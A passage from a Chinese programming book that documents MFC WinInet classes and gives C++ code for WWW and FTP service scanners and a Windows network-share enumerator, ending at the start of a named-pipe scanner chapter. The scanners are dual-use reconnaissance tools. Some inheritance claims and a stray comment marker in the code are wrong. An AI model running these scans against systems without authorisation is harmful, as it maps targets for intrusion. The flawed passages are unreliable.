返回值和参数参见8.1.1.7节，有一项不同：dwValue为要设置的值。

8.1.1.9　GetCookie方法



1)static BOOL GetCookie(LPCSTR pstrUrl,LPCTSTR pstrCookieName,LPTSTR

pstrCookieData,DWORD dwBufLen);

2)static BOOL GetCookie(LPCSTR pstrUrl,LPCTSTR pstrCookieName,CString＆

strCookieData);



上面两个函数的表现形式不同，但功能是一样的，在使用的时候可以任选一种，调用成功后，返回要查询的Cookie的当前值。

返回值：如果操作成功，则返回TRUE。如果有错误发生，则返回FALSE，并且通过调用GetLastError获得对错误信息进一步的解释。下列是常出现的两个错误信息：
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参数如下：

❑pstrUrl：指针，指向一个包含URL地址的字符串。

❑pstrCookieName：指针，指向一个包含cookie名称的字符串。

❑pstrCookieData：如果第一次使用，指针可以为NULL，以后再调用的时候指向一个CString对象。

❑dwBufLen：缓冲区的长度，如果pstrCookieData为NULL，则返回实际的长度。如果pstrCookieData不为空，并且实际的长度够用，则在调用成功后，返回实际的长度，并将数据复制到pstrCookieData指向的缓冲区中。

8.1.1.10　SetCookie方法



static BOOL SetCookie(LPCSTR pstrUrl,LPCTSTR pstrCookieName,LPCTSTR

pstrCookieData);



该函数完成设置Cookie值的作用。

返回值和参数参见8.1.1.9节，有一项不同：pstrCookieData指向要设置的cookie值。

8.1.1.11　Close方法



virtual void Close();



该函数用于关闭CInternetSession对象。


8.1.2　CInternetConnection类

当调用CInternetSession函数的GetGopherConnection、GetHttpConnection或GetFtpConnection方法时，可以获得一个CInternetConnection类的指针，或是由该类分别继承的CFtpConnection、CHttpConnection和CGopherConnection三个类指针。很显然，CInternetConnection类是后三者的基类，因此CInternetConnection类的方法也是后三者的方法。

顺便说一下，由于当前Gopher的应用较少，且其绝大多数功能已被WWW服务所取代，面临被淘汰的趋势，所以本书不再对Gopher及其相关的内容进行介绍。同时，在介绍CHttpConnection类和CFtpConnection类之前，先介绍一下其基类CInternetConnection类中，常用的GetSession、GetServerName、GetContext三个方法。

8.1.2.1　GetSession方法



CInternetSession*GetSession()const;



该函数返回一个连接所对应的会话。

返回值：当前连接中，一个指向CInternetSession对象的指针。

8.1.2.2　GetServerName方法



CString GetServerName()const;



该函数返回一个连接所对应的名称。

返回值：当前连接的会话的名称，该名称在构造会话CInternetSession时的pstrAgent参数。

8.1.2.3　GetContext方法



DWORD GetContext()const;



该函数返回应用分配的一个上下文ID。该ID主要用于回调函数中使用。

返回值：当前连接的上下文ID。


8.1.3　CHttpConnection类

CHttpConnection继承自CInternetSession类。所以CInternetSession类的三个方法在CHttpConnection类中仍然可以使用。考虑到常用性，下面只介绍其OpenRequest方法。



1)CHttpFile*OpenRequest(LPCTSTR pstrVerb,LPCTSTR pstrObjectName,LPCTSTR

pstrReferer=NULL,DWORD dwContext=1,LPCTSTR*

pstrAcceptTypes=NULL,LPCTSTR pstrVersion=NULL,DWORD

dwFlags=INTERNET_FLAG_EXISTING_CONNECT);

2)CHttpFile*OpenRequest(int nVerb,LPCTSTR pstrObjectName,LPCTSTR

pstrReferer=NULL,DWORD dwContext=1,LPCTSTR*pstrAcceptTypes

=NULL,LPCTSTR pstrVersion=NULL,DWORD dwFlags=

INTERNET_FLAG_EXISTING_CONNECT);



调用该函数可以打开一个HTTP连接。

返回值：调用成功，返回一个指向CHttpFile对象的指针。

参数如下：

❑pstrVerb：指向一个包括查询类型动作的字符串。如果为NULL，则是指"GET"。

❑pstrObjectName：指向一个包括目标对象的名称字符串，这通常是一个文件名、一个可执行的模块（如DLL）或一个查询指示器。

❑pstrReferer：指向URL类型字符串的指针，该地址在pstrObjectName中已包括。如果该值为NULL，则表示使用HTTP头部。

❑dwContext：上下文，主要用于标识OpenRequest操作，该值主要用于回调函数中。

❑pstrAcceptTypes：指向客户端可接收的内容类型的字符串。如果该值为NULL，则服务器认为客户端只接收"text/*"（即纯文本内容，没有图片、音乐等文件）类型的数据。

❑pstrVersion：指向定义HTTP版本的字符串，如果为NULL，则会使用"HTTP/1.0"。

❑dwFlags：属性值的组合。可取值有：
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❑nVerb：HTTP类型值。可以是如下几个值之一：
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8.1.4　CFtpConnection类

CFtpConnection类继承自CInternetSession类，所以CInternetSession类的三个方法在CHttpConnection类中仍然可以使用。CFtpConnection类主要完成对远端服务器文件的操作。下面介绍其常用的几个方法。

8.1.4.1　GetCurrentDirectory方法



1)BOOL GetCurrentDirectory(CString＆strDirName)const;

2)BOOL GetCurrentDirectory(LPTSTR pstrDirName,LPDWORD lpdwLen)const;



该函数用于返回远端服务器上的当前目录，该目录是相对目录，如果想转成URL标准格式，则可以通过调用GetCurrentDirectoryAsURL实现，路径中“/”和“\”是等价的。

返回值：调用失败，返回0；否则非0。调用失败时，可以通过马上调用GetLastError获得错误代码及其解释。如果错误码为ERROR_INSUFFICIENT_BUFFER，则表示缓冲区大小太小，不足以装下全部路径。

参数如下:

❑strDirName：一个CString类型的对象，用于保存远端服务器上当前的目录。

❑pstrDirName：一个字符串指针，指向远端服务器上当前目录的字符串。

❑lpdwLen：该参数是一个长度指针，该指针指向的地址所表示的长度是由pstrDirName指向的缓冲区长度。之所以没有使用形式参数，而是用该参数的指针，是因为如果该缓冲区大小不足以装下当前路径的路径名时，函数会返回0，并且设定该值指向的变量设为实际的长度。

8.1.4.2　SetCurrentDirectory方法



BOOL SetCurrentDirectory(LPCTSTR pstrDirName);



该函数用于设置远端服务器上的当前目录，路径中“/”和“\”是等价的。

返回值和参数参见8.1.4.1节。

8.1.4.3　CreateDirectory方法



BOOL CreateDirectory(LPCTSTR pstrDirName);



该函数用于在远端服务器上的创建目录，路径中“/”和“\”是等价的。

返回值参见8.1.4.1节。

参数中，pstrDirName为一个字符串指针，指向远端服务器上要创建的目录字符串。

8.1.4.4　RemoveDirectory方法



BOOL RemoveDirectory(LPCTSTR pstrDirName);



该函数用于在远端服务器上的删除目录，路径中“/”和“\”是等价的。

返回值：参见8.1.4.1节。

参数中，pstrDirName为一个字符串指针，指向远端服务器上要删除的目录字符串。

8.1.4.5　Rename方法



BOOL Rename(LPCTSTR pstrExisting,LPCTSTR pstrNew);



该函数用于在远端服务器上的修改文件名，路径中“/”和“\”是等价的。

返回值参见8.1.4.1节。

参数如下：

❑pstrExisting：一个字符串指针，指向远端服务器上要修改的旧文件名字符串。

❑pstrNew：一个字符串指针，指向远端服务器上修改后的新文件名字符串。

8.1.4.6　Remove方法



BOOL Remove(LPCTSTR pstrFileName);



该函数用于在远端服务器上的删除文件，路径中“/”和“\”是等价的。

返回值参见8.1.4.1节。

参数中，pstrFileName为一个字符串指针，指向远端服务器上要删除的文件名字符串。

8.1.4.7　GetFile方法



BOOL GetFile(LPCTSTR pstrRemoteFile,LPCTSTR pstrLocalFile,BOOL

bFailIfExists=TRUE,DWORD dwAttributes=FILE_ATTRIBUTE_NORMAL,DWORD

dwFlags=FTP_TRANSFER_TYPE_BINARY,DWORD dwContext=1);



该函数用于从远端服务器上下载文件到本地目录中，路径中“/”和“\”是等价的。整个文件传输是自动的，中间过程不可控。如果想监控中间环节，应该使用OpenFile打开文件，然后用CInternetFile::Read进行读取。FTP传送中，还有一个概念就是传送方式，默认情况下，传送是以二进制方式传送的；但用户也可以设置为使用文本方式，在文本方式下，传送过程中的不可见字符都会被转成控制字符进行处理。

返回值参见8.1.4.1节。

参数如下：

❑pstrRemoteFile：指向一个字符串地址，表明从服务器上的要下载的文件名。

❑pstrLocalFile：指向一个字符串地址，表明下载后保存到本地的文件名。

❑bFailIfExists：布尔值，表明如果本地有与pstrLocalFile同名文件是否覆盖。如果本地有，当为TRUE时，则返回失败；否则直接覆盖本地文件。

❑dwAttributes：文件属性的组合。这些值可以是下面各值的组合：
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❑dwContext：上下文，主要用于回调函数使用。

8.1.4.8　PutFile方法



BOOL PutFile(LPCTSTR pstrLocalFile,LPCTSTR pstrRemoteFile,DWORD dwFlags=

FTP_TRANSFER_TYPE_BINARY,DWORD dwContext=1);



该函数用于向从本地目录向远端服务器上传文件，路径中“/”和“\”是等价的。整个文件传输是自动的，中间过程不可控。如果想监控中间环节，应该使用OpenFile打开文件，然后用CInternetFile::Write进行写入。FTP传送中，还有一个概念就是传送方式，默认情况下，传送是以二进制方式传送的；但用户也可以设置为使用文本方式，在文本方式下，传送过程中的不可见字符都会被转成控制字符进行处理。

返回值参见8.1.4.1节。

参数如下：

❑pstrRemoteFile：指向一个字符串地址，表明从服务器上的要下载的文件名。

❑pstrLocalFile：指向一个字符串地址，表明下载后保存到本地的文件名。

❑dwFlags：文件传送方式。这些值可以是下面各值的组合。
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❑dwContext：上下文，主要用于回调函数使用。

8.1.4.9　OpenFile方法



CInternetFile*OpenFile(LPCTSTR pstrFileName,DWORD dwAccess=GENERIC_READ,

DWORD dwFlags=FTP_TRANSFER_TYPE_BINARY,DWORD dwContext=1);



该函数用于打开远端服务器上的文件，路径中“/”和“\”是等价的。整个文件传输过程中，可以通过CInternetFile::Read进行读，通过CInternetFile::Write进行写入，最终用Close关闭。

返回值：指向CInternetFile对象的指针。

参数如下：

❑pstrFileName：指向一个字符串地址，表明在服务器上要打开的文件名。

❑dwAccess：打开方式，可以是GENERIC_READ、GENERIC_WRITE，或二者的组合。

❑dwFlags：参见8.1.4.8节。在文本方式下，传送过程中的不可见字符都会被转成控制字符进行处理。

❑dwContext：上下文，主要用于回调函数使用。

8.1.4.10　Close方法



virtual void Close();



该函数用于关闭与远端服务器的连接。虽然在CFtpConnection对象退出时，析构函数也会断开连接，但还是需要在不需要的时候，及时关闭连接。


8.1.5　CInternetFile类

在CInternetConnection中，当有文件操作时，就会返回一个CInternetFile类指针。此后的指针就可以像写本地文件一样操作了。这些操作主要有Seek、Read、Write、Abort、Flush、Close、ReadString、WriteString。

8.1.5.1　Read方法



virtual UINT Read(void*lpBuf,UINT nCount);

throw CInternetException();



该函数用于在远端服务器上的文件中读指定长度的内容。

返回值：如果文件从当前位置到结尾的字节个数大于nCount，则返回nCount；否则返回剩余的字节数。

参数如下：

❑lpBuf：指向读取的缓冲区指针。

❑nCount：读取的个数。

8.1.5.2　Write方法



virtual void Write(const void*lpBuf,UINT nCount);

throw CInternetException();



该函数用于向远端服务器上的文件中写入指定长度的内容。

参数如下：

❑lpBuf：指向要写入内容的缓冲区指针。

❑nCount：缓冲区字符的个数。

8.1.5.3　ReadString方法



virtual BOOL ReadString(CString＆rString);

virtual LPTSTR ReadString(LPTSTR pstr,UINT nMax);

throw(CInternetException);



该函数用于从远端服务器上的文件中读取一个字符串。对字符串的界定是以NULL作为结束。

返回值：返回TRUE表示读成功；否则表示失败。当读取成功时，会在一个指向缓冲区的指针所针向的缓冲区中填入读取的文本数据，如果为NULL，则表示没有读到数据。

参数如下：

❑pstr：指向读取的缓冲区指针。

❑nMax：因为字符串的长度不确定，所以此处限制读取的最大字节数。

❑rString：指向一个CString类，保存有读取的内容。

8.1.5.4　WriteString方法



virtual void WriteString(LPCTSTR pstr);

throw CInternetException();



该函数用于向远端服务器上的文件中写入一个字符串。对字符串的界定是以NULL作为结束。

参数中，pstr为指向写入的缓冲区指针。

8.1.5.5　Seek方法



virtual LONG Seek(LONG lOffset,UINT nFrom);

throw(CInternetException);



该函数用于在远端服务器上的文件中调整当前位置。

返回值：如果文件从当前位置到结尾的字节个数大于nCount，则返回nCount；否则返回剩余的字节数。如果移到的位置超出了文件的范围，则返回ERROR_INTERNET_INVALID_OPERATION。

参数如下：

❑lOffset：移动的偏移量。

❑nFrom：移动的参考点。该值可以取下面值：
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8.1.5.6　Flush方法



virtual void Flush();

Throw(CInternetException);



将缓存的内容都写入到物理硬盘上。

8.1.5.7　Close方法



virtual void Close();

Throw(CInternetException);



关闭当前文件。


8.1.6　CInternetException类

在前面几个与文件的读写有关的操作中，都可以通过抛出异常来判断出错原因，要检查异常，可以通过CInternetException类。

该类只有两个变量可以在异常处理函数中使用：

❑m_dwError：导致异常的错误码。

❑m_dwContext：导致异常操作的相关上下文值。


8.2　编程实例：基于应用的WWW服务扫描器

有了前面的解释，就可以考虑如何设计WWW服务扫描器了。由于上一章中，已对WWW服务扫描器的设计步骤进行了详细的说明，所以这里就不再重复，需要做的修改主要有：

1.在文件前面加入头文件



#include＜afxinet.h＞



2.修改原扫描线程为新的内容



UINT ThreadScan_CInet(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;//要扫描的IP地址

UINT uPort=threadparam-＞uPort;//要扫描的端口

CServiceScanerDlg*ptr=threadparam-＞ptr;//主程序对话框指针

CTreeCtrl*pctlTreeResult=threadparam-＞pctlTreeResult;//用于记录结果的CTreeCtrl控件

HTREEITEM curr=threadparam-＞curr;//控件上的当前位置

int iIndexInList=threadparam-＞iIndexInList;//线程索引，在本线程中不使用

//线程计数器，用于主线程

g_iTotalThreadCount++;

//创建一个会话，由此会话建立一个连接，并且通过文件的方式进行读写

CString fileURL;

fileURL.Format("WWW Scaner(%d)",iIndexInList);

CInternetSession iSession(fileURL);//建立的会话

CHttpFile*pFile=NULL;//用于读写的文件

char buff[1000];//读取缓冲区

try

{

//选假设对方没有提供WWW服务

BOOL bSuccess=FALSE;

fileURL.Format("http://%s:%d/",strIP,uPort);//生成URL

pFile=(CHttpFile*)iSession.OpenURL(fileURL);//打开文件

if(pFile!=NULL)

{

//打开文件，不管是什么文件，随便读取几个字节

int len=pFile-＞Read((char*)buff,1000);

if(len＞10)

{

//只要读取内容，则认为对方提供WWW服务

bSuccess=TRUE;

}

pFile-＞Close();//关闭文件句柄

}

iSession.Close();//关闭会话

if(bSuccess)

{

CString strTemp;

strTemp.Format("%d提供WWW服务。",uPort);

pctlTreeResult-＞InsertItem(strTemp,curr);

}

}

//处理读写中出现的异常

catch(CInternetException*ex)

{

//ex-＞m_dwError;

CString strTemp;

strTemp.Format("端口%d，读写出错，请重新扫描。",uPort);

pctlTreeResult-＞InsertItem(strTemp,curr);

}

g_iTotalThreadCount--;

return 0;

}




8.3　编程实例：基于应用的FTP服务扫描器

有了前面的解释，就可以考虑FTP服务扫描器的编制了。由于上一章中，已对FTP服务扫描器的设计步骤进行了详细的说明，所以这里就不再重复，需要做的修改主要有：

1.在文件前面加入头文件



#include＜afxinet.h＞



2.修改原扫描线程为新的内容



UINT ThreadScan_CInet(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CString strIP=threadparam-＞strIP;//要扫描的IP地址

UINT uPort=threadparam-＞uPort;//要扫描的端口

CServiceScanerDlg*ptr=threadparam-＞ptr;//主程序对话框指针

CTreeCtrl*pctlTreeResult=threadparam-＞pctlTreeResult;//用于记录结果的CTreeCtrl控件

HTREEITEM curr=threadparam-＞curr;//控件上的当前位置

int iIndexInList=threadparam-＞iIndexInList;//线程索引，在本线程中不使用

//线程计数器，用于主线程

g_iTotalThreadCount++;

//创建一个会话，由此会话建立一个连接，并且通过文件的方式进行读写

CString fileURL;

fileURL.Format("FTP Scaner(%d)",iIndexInList);

CInternetSession iSession(fileURL);//建立的会话

CHttpFile*pFile=NULL;//用于读写的文件

char buff[1000];//读取缓冲区

try

{

//选假设对方没有提供FTP服务

BOOL bSuccess=FALSE;

fileURL.Format("ftp://%s:%d/",strIP,uPort);//生成URL

pFile=(CHttpFile*)iSession.OpenURL(fileURL);//打开文件

if(pFile!=NULL)

{

//打开文件，不管是什么文件，随便读取几个字节

int len=pFile-＞Read((char*)buff,1000);

if(len＞10)

{

//只要读取内容，则认为对方提供WWW服务

bSuccess=TRUE;

}

pFile-＞Close();//关闭文件句柄

}

iSession.Close();//关闭会话

if(bSuccess)

{

CString strTemp;

strTemp.Format("%d提供FTP服务。",uPort);

pctlTreeResult-＞InsertItem(strTemp,curr);

}

}

//处理读写中出现的异常

catch(CInternetException*ex)

{

//ex-＞m_dwError;

CString strTemp;

strTemp.Format("端口%d，读写出错，请重新扫描。",uPort);

pctlTreeResult-＞InsertItem(strTemp,curr);

}

g_iTotalThreadCount--;

return 0;

}




8.4　网络资源协议

双击桌面的“网上邻居”图标，会弹出一个“网上邻居”窗口，在该窗口中有一个“整个网络”的图标，双击该图标，会转换为“网上邻居”的窗口，在该窗口中列出了整个网络中所有计算机的主机共享目录、共享打印机等信息，这相当于另一种共享目录和打印机的扫描。

要查找网络上的打印机或共享目录资源，可以通过一组“网络枚举”的函数API来完成，这样的函数主要有三个，分别是WNetOpenEnum、WNetEnumResource和WNetCloseEnum。在实施枚举的时候，WNetOpenEnum函数进行初始化和连接的建立，但此时该函数并没执行任何枚举的操作，真正的操作由WNetEnumResource来完成，它可以一次枚举一组当前连接的网络资源，重复调用，即可找到所有资源。最后通过WNetCloseEnum关闭连接。

资源很多，并且呈树状组织，所以该函数一般是通过递归调用来实现的。下面介绍这类函数与结构。


 8.4.1　NETRESOURCE结构



typedef struct_NETRESOURCE{

DWORD dwScope;

DWORD dwType;

DWORD dwDisplayType;

DWORD dwUsage;

LPTSTR lpLocalName;

LPTSTR lpRemoteName;

LPTSTR lpComment;

LPTSTR lpProvider;

}NETRESOURCE;



网络资源主要是指通过网络访问可以查到的某一个网络访问单位的数据结构，该结构是NETRESOURCE，该结构通过网络资源查询命令时返回。

结构成员如下：

❑dwScope：枚举的范围，该参数可以是下列值之一：
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❑dwType：指出资源的类型，该参数可以是下列各值的组合：
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❑dwDisplayType：指出该资源向用户显示的时候显示的类型，该参数可以是下列各值的组合：
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❑dwUsage：指出资源使用的类型，只有dwScope的值为RESOURCE_GLOBALNET时，该值才有意义。参数可以是下列各值的组合：

❑lpLocalName：资源的本地名称，如果dwScope的值为RESOURCE_CONNECTED或RESOURCE_REMEMBERED，且连接不是一个设备时，则显示为NULL。

❑lpRemoteName：资源的远端名称：如果实体是一个网络资源，则显示为一个标准的字符串类型。如果是一个连接，则该网络名与lpLocalName设定的相关。

❑lpComment：资源的厂商标识。

❑lpProvider：资源提供商标识。


8.4.2　WNetOpenEnum函数



DWORD WNetOpenEnum(

DWORD dwScope,//枚举的范围

DWORD dwType,//资源的类型列表

DWORD dwUsage,//资源使用的类型列表

LPNETRESOURCE lpNetResource,//NETRESOURCE结构

LPHANDLE lphEnum//枚举句柄缓冲区

);



WNetOpenEnum函数的功能是预设一些参数，为随后读资源做前期的准备。使用此函数必须包含头文件Winnetwk.h，并且要链接静态链接库Mpr.lib。

返回值：如果调用成功，返回NO_ERROR；否则，返回下列值之一：
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参数如下：

❑dwScope：枚举的范围，该参数可以是下列值之一：
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❑dwType：指出资源的类型，该参数可以是下列各值的组合：
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❑dwUsage：指出资源使用的类型，参数可以是下列各值的组合：
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❑lpNetResource：指向一个NETRESOURCE结构包含枚举列的数组。如果参数dwScope不是RESOURCE_GLOBALNET，则该参数必须为NULL。如果为NULL，则表示访问网络的根部。如果不为NULL，则NETRESOURCE结构中会被填入一组资源值。

❑lphEnum：指向枚举的句柄，被用作调用WNetEnumResource的顺序。


8.4.3　WNetEnumResource函数



DWORD WNetEnumResource(

HANDLE hEnum,//枚举的句柄

LPDWORD lpcCount,//枚举中的实体个数

LPVOID lpBuffer,//缓冲区指针

LPDWORD lpBufferSize//缓冲区的大小

);



WNetEnumResource函数的功能是读取一组由WNetOpenEnum打开的资源列表。WNetEnumResource虽然会读取网络上的资源，但实际上并不会与这些资源进行连接。并且读到的都是非隐藏的资源，如果想读取隐藏的资源，则可以通过NetShareEnum函数进行读取（详见4.5节“用户名、共享目录、组列表的读取”）。使用此函数必须包含头文件Winnetwk.h，并且要链接静态链接库Mpr.lib。

返回值：

❑如果调用成功，返回NO_ERROR或ERROR_NO_MORE_ITEMS，如果是ERROR_NO_MORE_ITEMS表示已没有资源可读了；否则返回下列值之一：
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参数如下：

❑hEnum：枚举的句柄，用于调用WNetEnumResource的顺序。

❑lpcCount：指向一个DWORD类型的指针变量，所指向的值用来表示本次读取中，读取的这一组资源中资源的个数。作输入参数时，如果用户设定为-1，则表示有多少个就读多少个。

❑lpBuffer：指向一个缓冲区，用于保存读取的资源数据。读取成功后，返回的是一个NETRESOURCE结构的数组。如果该值初始被设为NULL，则调用会出错，并会在lpBufferSize中返回实际大小。

❑lpBufferSize：指向DWORD类型的指针变量，所指向的值用来表示缓冲区的字节数。如果调用后，实际所需的大小没有该值指定的大小，则会根据情况返回可以容下的最大资源个数，如果连一个资源也无法容下，则返回出错，并通过该指针所指向的值中返回实际所需大小。


8.4.4　WNetCloseEnum函数



DWORD WNetCloseEnum(

HANDLE hEnum//枚举的句柄

);



WNetCloseEnum函数结束一个由WNetOpenEnum打开的网络资源枚举连接。使用此函数必须包含头文件Winnetwk.h，并且要链接静态链接库Mpr.lib。

返回值：如果调用成功，返回NO_ERROR；否则返回的下列值之一：
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参数：lphEnum为枚举的句柄，用于调用WNetEnumResource的顺序，该句柄必须是由调用函数WNetOpenEnum时返回的值。


8.5　编程实例：网络资源扫描器

有了上面的函数说明，就可以进行编程了。


 8.5.1　程序主界面

根据上述分析，可以做一个界面如图8.2所示。
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图　8.2　网络资源服务扫描器

主界面分为上、下两个部分，上部分“资源列表”分组主要是扫描网络资源的结果；下面“系统状态”分组显示的是命令操作结果或当前状态。单击“开始扫描”按钮，系统就会进入扫描状态，并将结果添加到扫描结果的“树”型控件中。单击“清空列表”按钮会清空已有的结果。

顺便说明一下，要共享一个目录（又称文件夹），可以在资源管理器中右击目录名，在弹出的菜单中，选“属性”菜单项。在弹出的属性对话框中（如图8.3所示），选择“共享”选项卡中的“共享此文件夹”单选项，为了说明此文件夹的作用，可以在“注释”中输入一个解释名称（该解释将在图8.2扫描到的名称后的括号中显示），最后单击“确定”或“应用”按钮即可。
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图　8.3　文件夹共享属性对话框

如果你的“属性”界面与图8.3不同，并且你所用的操作系统是Windows XP，则是因为你的配置为“简单共享”模式。要调整为自定义共享模式，需要单击资源管理器的“工具”菜单，并选择“文件夹选项”，在弹出的“文件夹选项”对话框中，选择“查看”选项卡，在“高级设置”列表中，取消选中“使用简单文件共享”复选框和“在资源管理器文件夹列表中显示简单文件夹查看”复选框。单击“确定”或“应用”按钮即可。


8.5.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为ServiceScaner_NetResource。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义

在ServiceScanerDlg.cpp的头部中定义要用到的常量。



#pragma comment(lib,"Mpr.lib")



在程序主文件MultiPingDlg.cpp的头部定义，这部分主要是该文件自己使用的一些头文件和常量。

3.程序主要代码



void CServiceScanerDlg::OnBUTTONStart()

{

UpdateData(TRUE);

m_ctlTreeResult.DeleteAllItems();

HTREEITEM curr=m_ctlTreeResult.InsertItem("整个网络",0,0);

EnumerateFunc(NULL,curr,1);

m_strComment.Format("扫描结束");

UpdateData(FALSE);

}

BOOL CServiceScanerDlg::EnumerateFunc(LPNETRESOURCE pNetResource,HTREEITEM

curr,int layer)

{

HANDLE hEnum;

CString strTemp;

//调用WNetOpenEnum功能开始枚举

DWORD dwResult=WNetOpenEnum(RESOURCE_GLOBALNET,//所有的网络资源

RESOURCETYPE_ANY,//磁盘或打印机

0,//所有用法

pNetResource,//资源指针，第一次调用的时候必须为NULL

＆hEnum);//资源的一个句柄

if(dwResult!=NO_ERROR)

{

switch(dwResult)

{

case ERROR_NOT_CONTAINER:

strTemp="网络资源参数所指向的不是一个容器。";break;

case ERROR_INVALID_PARAMETER:

strTemp="参数中，类型和范围无效，或二者的组合无效。";break;

case ERROR_NO_NETWORK:

strTemp="网络不能使用。";break;

case ERROR_EXTENDED_ERROR:

strTemp="网络指定的错误发生，详细的错误需要使用WNetGetLastError获得。";break;

default:strTemp="其他类型的错误。";break;

}

m_ctlTreeResult.InsertItem(strTemp,5,5,curr);

return FALSE;

}

DWORD dwResultEnum;

DWORD cbBuffer=16*1024;//16K是一个实测的最佳值

LPNETRESOURCE pNetResourceTemp=(LPNETRESOURCE)GlobalAlloc(GPTR,cbBuffer);

do

{

DWORD cEntries=-1;//遍历所有可能的值

ZeroMemory(pNetResourceTemp,cbBuffer);

dwResultEnum=WNetEnumResource(hEnum,//资源句柄

＆cEntries,//本地值为-1

pNetResourceTemp,//LPNETRESOURCE

＆cbBuffer);//缓冲区的大小

if(dwResultEnum!=NO_ERROR)

{

if(dwResultEnum!=ERROR_NO_MORE_ITEMS)

{

strTemp="error2";

m_ctlTreeResult.InsertItem(strTemp,5,5,curr);

break;

}

continue;

}

for(DWORD i=0;i＜cEntries;i++)

{

CString strValue="";

switch(pNetResourceTemp[i].dwScope)

{

case RESOURCE_CONNECTED:strTemp="已连资源";break;

case RESOURCE_GLOBALNET:strTemp="所有资源";break;

case RESOURCE_REMEMBERED:strTemp="记忆资源";break;

default:strTemp="未定义的资源";break;

}

strValue+=strTemp+"/";

switch(pNetResourceTemp[i].dwType)

{

case RESOURCETYPE_ANY:strTemp="所有资源";break;

case RESOURCETYPE_DISK:strTemp="本地磁盘";break;

case RESOURCETYPE_PRINT:strTemp="打印机";break;

case RESOURCETYPE_UNKNOWN:strTemp="无法识别";break;

default:strTemp="未定义的类型";break;

}

strValue+=strTemp+"/";

switch(pNetResourceTemp[i].dwDisplayType)

{

case RESOURCEDISPLAYTYPE_DOMAIN:strTemp="域";break;

case RESOURCEDISPLAYTYPE_SERVER:strTemp="服务器";break;

case RESOURCEDISPLAYTYPE_SHARE:strTemp="共享";break;

case RESOURCEDISPLAYTYPE_GENERIC:strTemp="无所谓";break;

default:strTemp="未定义的显示类型";break;

}

strValue+=strTemp+"/";

if((pNetResourceTemp[i].dwUsage＆

RESOURCEUSAGE_CONNECTABLE)!=0)

strTemp="可连接资源";

else

{

if((pNetResourceTemp[i].dwUsage＆

RESOURCEUSAGE_CONTAINER)!=0)

strTemp="资源容器";

else

strTemp="未定义的用法";

}

strValue+=strTemp+"/";

strTemp.Format("本地名%s/",pNetResourceTemp[i].lpLocalName);

strValue+=strTemp;

strTemp.Format("远端名%s/",pNetResourceTemp[i].lpRemoteName);

strValue+=strTemp;

strTemp.Format("提供商%s/",pNetResourceTemp[i].lpProvider);

strValue+=strTemp;

strTemp.Format("注释%s",pNetResourceTemp[i].lpComment);

strValue+=strTemp;*/

if(pNetResourceTemp[i].lpComment!=NULL)

strTemp.Format("(%s)",pNetResourceTemp[i].lpComment);

else

strTemp="";

strValue.Format("%s%s",pNetResourceTemp[i].lpRemoteName,strTemp);

HTREEITEM child=m_ctlTreeResult.InsertItem(strValue,layer,layer,curr);

if((pNetResourceTemp[i].dwUsage＆RESOURCEUSAGE_CONTAINER)!=0)

{

BOOL bRet=EnumerateFunc(＆pNetResourceTemp[i],child,layer+1);

if(!bRet)

{

strTemp="error222";

//m_ctlTreeResult.InsertItem(strTemp,curr);

}

}

}

}while(dwResultEnum!=ERROR_NO_MORE_ITEMS);

GlobalFree((HGLOBAL)pNetResourceTemp);

dwResult=WNetCloseEnum(hEnum);

if(dwResult!=NO_ERROR)

{

strTemp="关闭出错";

m_ctlTreeResult.InsertItem(strTemp,5,5,curr);

return FALSE;

}

return TRUE;

}




第9章　命名管道扫描器的设计

早在网络通信还不普及的时候，操作系统的设计者都试图找到一种高效的进程间通信的机制，命名管道和邮槽因为操作简单，使用方便，因而被采用并广泛使用。随着网络的普及，这两种主机内部进程间通信的方式被成功地移植到了网络中，而变成了两台主机进程之间的通信。

相比于其他的方式，命名管道扫描器的优势在于：由于命名管道和邮槽来源于进程间的通信，后来转用到主机间进程通信，因而这种扫描器不仅与操作系统无关，更重要的是，与支持的下层通信协议也无关。举例来说，扫描主机采用的操作系统是Windows XP，并且使用TCP/IP协议作为通信协议；而被扫描主机的操作系统可能是一个NOVELL，使用的是IPX/SPX通信协议。只要二者通过网关能够进行命名管道或邮槽的通信，即可以成功被扫到。

在具体应用中，很多通用的程序都提供命名管道的通信方式，这样做的最大好处就是，既可以支持异构系统，又可以以简单方式进行通信。但在实际的应用中，只有Microsoft SQL Server使用固定的命名管道，所以编程实例中使用命名管道方式扫描SQL Server；而Oracle虽然也提供命名管道，但其命名管道不是固定的，是由用户定制的，虽然在知道其所配置的命名管道名后，用同样的技术无疑也可以把Oracle扫描出来，但这种指定命名管道名的模式不具有通用性，不具备“扫描”的特性，故这里不再展开讨论。


 9.1　命名管道

管道（pipe）是用于进程间通信（Inter-Process Communication,IPC）的一段共享内存。创建管道的进程称为管道服务器，连接到一个管道的进程为管道客户端。命名管道（named pipe）是在管道服务器和一台或多台管道客户端之间，通过一个共用的名称进行单向或双向通信的一种数据通信机制。一个命名管道的所有实例共享同一个管道名，但是每一个实例均拥有独立的缓存与句柄，并且为客户端和服务器通信提供一个分离的管道。实例的使用保证了多个管道客户端能够在同一时间使用同一个命名管道。

命名管道可以在同一台计算机的不同进程之间，或在跨越一个网络的不同计算机的不同进程之间进行有连接的可靠数据通信，如果连接中断，连接双方都能立即收到连接断开的信息。命名管道是围绕Windows文件系统而设计的一种机制，采用的是命名管道文件系统（Named Pipe File System,NPFS）接口，对数据的收发采用文件读写函数ReadFile()和WriteFile()来完成。在设计上，由于命名管道也利用了微软网络提供者（MSNP）重定向器，因此无需涉及底层的通信协议细节。命名管道还充分利用了Windows NT及Windows 2000内建的安全特性，通信的安全性相对较好。

如果进行面向连接的传输，可考虑使用命名管道，而不是简单的邮槽。


9.2　命名管道API


 9.2.1　命名管道的UNC格式

UNC（Universal Naming Convention，通用命名规则）是一种在网络上广泛应用于表示网络资源位置的方式。对于命名管道，它的完整格式是：



\\＜服务器＞\pipe\[路径名\]＜资源名＞



